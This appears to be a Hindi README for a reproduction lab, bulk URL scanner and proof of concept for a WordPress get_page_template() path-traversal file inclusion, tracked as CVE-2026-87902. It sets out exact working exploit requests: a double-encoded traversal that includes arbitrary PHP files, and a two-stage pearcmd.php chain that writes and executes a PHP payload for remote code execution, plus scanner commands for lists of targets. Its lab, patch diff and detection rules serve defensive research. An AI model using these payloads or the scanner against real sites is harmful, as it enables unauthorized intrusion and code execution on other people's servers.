प्रजनन लैब + URL-सूची स्कैनर + CVE-2026-87902 / GHSA-7hp8-65ch-5whp के लिए PoC — WordPress get_page_template() अनधिकृत LFI से सशर्त RCE तक (WP 4.7.0-7.1.1, 7.1.2 में ठीक किया गया)। अधिकृत/रक्षात्मक परीक्षण।
get_page_template() अनधिकृत LFI → सशर्त RCEप्रजनन लैब + URL-सूची स्कैनर + PoC, Docker लैब पर वास्तविक WordPress 7.1.1 (असुरक्षित) और 7.1.2 (पैच किया गया) के विरुद्ध बनाया और एंड-टू-एंड सत्यापित किया गया।
include/require के लिए फ़ाइलनाम का अनुचित नियंत्रण (पथ ट्रैवर्सल → स्थानीय PHP समावेशन)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-* नाम की शीर्ष-स्तरीय निर्देशिका हो (जैसे — Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney में मौजूद); (2) केवल RCE के लिए: एक पठनीय और ।page-templates/pearcmd.phpregister_argc_argv=Onwp-includes/template.php :: get_page_template() हमलावर-नियंत्रित pagename क्वेरी वेरिएबल से
validate_file() के बिना एक टेम्पलेट उम्मीदवार बनाता है:
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
इसके बाद locate_template() file_exists($theme_dir . '/' . $candidate) करता है और मिले हुए को include करता है।
चूँकि उम्मीदवार page-{...}.php है, पेलोड को page- से शुरू होने वाली वास्तविक थीम निर्देशिका को जारी रखना
चाहिए (जैसे page-templates/) और फिर किसी भी पठनीय .php तक पहुँचने के लिए ../ से बाहर निकलना चाहिए।
डबल-एन्कोडिंग अनिवार्य है। get_query_var('pagename') पहले से ही PHP द्वारा सिंगल-डिकोड किया जाता है, इसलिए
सादा ../ urldecode($pagename) === $pagename बना देता है और असुरक्षित शाखा छोड़ दी जाती है। एक
डबल-एन्कोडेड %252e%252e%252f पहले डिकोड के बाद %2e%2e%2f के रूप में बचा रहता है और अतिरिक्त urldecode() द्वारा
ही ../ में बदला जाता है — यही बग है।
lab/)Docker होस्ट पर वास्तविक रिलीज़ साथ-साथ, केवल सुरक्षा फिक्स से भिन्न:
| सेवा | URL (केवल लूपबैक) | WordPress | भूमिका |
|---|---|---|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | असुरक्षित |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | पैच किया गया नियंत्रण |
db | — | MySQL 8.4 | साझा (दो डेटाबेस) |
बेस इमेज wordpress:php8.3-apache (जो पहले से pearcmd.php और register_argc_argv=On के साथ आती है),
बंडल किए गए कोर को प्रामाणिक wordpress-7.1.1.zip / 7.1.2.zip से बदलकर। Twenty Fourteen सक्रिय है
(वास्तविक page-templates/), और सक्रिय थीम में एक page-templates/ फिक्स्चर भी बनाया गया है।
प्रकाशित पृष्ठ id = 2 (Sample Page)।
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
पोर्ट केवल 127.0.0.1 पर बाइंड होते हैं — असुरक्षित इंस्टेंस कभी नेटवर्क-एक्सपोज़्ड नहीं होता।
poc/cve-2026-87902-scan.py)Python 3, केवल stdlib (कोई pip install नहीं)। URL की सूची लेता है और बताता है कि कौन से
असुरक्षित हैं। डिफ़ॉल्ट स्कैन गैर-विनाशकारी है: यह केवल-पठन कोर फ़ाइल
wp-links-opml.php को शामिल करता है और परिणामी OPML दस्तावेज़ को खोजता है — प्रमाण कि मनमाना-.php समावेशन
चला, बिना किसी लेखन और बिना किसी स्थिति परिवर्तन के।
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php →
readme.html → /wp-includes/ asset ?ver=)।/wp/v2/pages, ?rest_route= फ़ॉलबैक, होमपेज
page-id-N, डिफ़ॉल्ट page_id=2) — आवश्यक ताकि अनुरोध एक Page पर हल हो और get_page_template() चले।segment × depth के लिए (डिफ़ॉल्ट segment templates, depths 4,3,5,6,7), भेजें
page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> (POST, canonical रीडायरेक्ट से बचने के लिए) और
HTTP 200 की आवश्यकता हो जिसमें <opml version="1.0"> + एक संरचनात्मक द्वितीयक मार्कर
(</opml> / <outline / <dateCreated>) हो।.php की ओर इंगित करके
पुनः जारी करें। यदि OPML अभी भी दिखाई देता है, तो OPML परिवेशीय है (प्रॉक्सी / कैश / फ़ीड ऐप), हमारा समावेशन नहीं
→ POSSIBLY में डाउनग्रेड। केवल वह हिट जिसका नियंत्रण साफ़ है, VULNERABLE है।मजबूती: सबडायरेक्टरी पथ सुरक्षित रखता है (http://host/blog), gzip/deflate और विषम charset संभालता है,
ट्रांसपोर्ट त्रुटि पर एक बार प्रोब पुनः प्रयास करता है, पृष्ठ id खोजता/सत्यापित करता है (REST → ?rest_route= → होमपेज
→ डिफ़ॉल्ट), प्रति-लक्ष्य समय बजट लागू करता है, और कम-विश्वास संस्करण स्रोत (asset ?ver= / readme.html) से
कभी NOT_VULNERABLE का दावा नहीं करता — वे POSSIBLY में बदल जाते हैं।
| निर्णय | अर्थ |
|---|---|
VULNERABLE | OPML ओरेकल चला — LFI पुष्ट (निर्णायक) |
NOT_VULNERABLE | पैच की गई शाखा संस्करण, या 4.7.0–7.1.1 के बाहर संस्करण |
POSSIBLY_VULNERABLE | असुरक्षित/अज्ञात संस्करण लेकिन ओरेकल मौन (संभवतः कोई page-* थीम डिर नहीं, गैर-मानक लेआउट, या कोई खोजने योग्य पृष्ठ id नहीं) — मैन्युअल रूप से सत्यापित करें |
NOT_WORDPRESS / ERROR | कोई WP संकेतक नहीं / ट्रांसपोर्ट विफलता |
एग्ज़िट कोड: 2 यदि कोई VULNERABLE, 1 यदि कोई POSSIBLY (और कोई VULNERABLE नहीं), अन्यथा 0।
उपयोगी फ़्लैग: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids,
--max-time (प्रति-लक्ष्य बजट), --timeout, --threads, --proxy, --header, --insecure
(TLS बंद — केवल डेव), --json, --jsonl। सबडायरेक्टरी में WordPress इंस्टॉल के लिए, पूरा बेस पास करें
(जैसे https://host/blog); Bedrock/core-in-wp/ के लिए स्वीप wp/-प्रीफ़िक्स्ड ओरेकल लक्ष्य भी आज़माता है।
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
PEAR pearcmd.php श्रृंखला चलाता है: +-विभाजित क्वेरी स्ट्रिंग में config-create argv होता है जो
/tmp के अंतर्गत एक कोट-मुक्त मार्कर .php लिखता है; एक दूसरा अनुरोध इसे शामिल करता है। निष्पादित मार्कर +
php_uname() + uid प्रिंट करता है। लक्ष्य पर एक फ़ाइल लिखता है → एकल-लक्ष्य, --i-have-authorization आवश्यक,
डिफ़ॉल्ट रूप से बंद।
evidence/)| फ़ाइल | यह क्या सिद्ध करती है |
|---|---|
manual-validate.sh / ev-lfi.log | OPML ओरेकल 7.1.1 पर चलता है (depth 4, POST और GET), 7.1.2 पर मौन; केवल depth 4 काम करता है; सिंगल-एन्कोडिंग विफल |
rce-validate.sh / ev-rce.log | 7.1.1 पर पूर्ण PEAR RCE (uid=33 www-data के रूप में, depth 7); पैच किया गया कोई फ़ाइल नहीं लिखता, कुछ निष्पादित नहीं करता |
ev-scan-table.log / ev-scan-results.json | {vuln, patched, non-WP, dead} पर स्कैनर: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |
सिद्ध अनुरोध आकार:
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off सेट करें और pearcmd.php को हटाएँ/अस्वीकार करें;
यह RCE एस्केलेशन को हटा देता है भले ही LFI पहुँच योग्य हो।pagename को ब्लॉक करें जिसमें .. हो; साइट रूट या /index.php पर page_id + templates%252f से शुरू होने वाले /
%252e%252e युक्त pagename का सह-अस्तित्व लगभग निश्चित शोषण संकेत है।केवल अधिकृत सुरक्षा परीक्षण, शिक्षा, और रक्षात्मक अनुसंधान के लिए।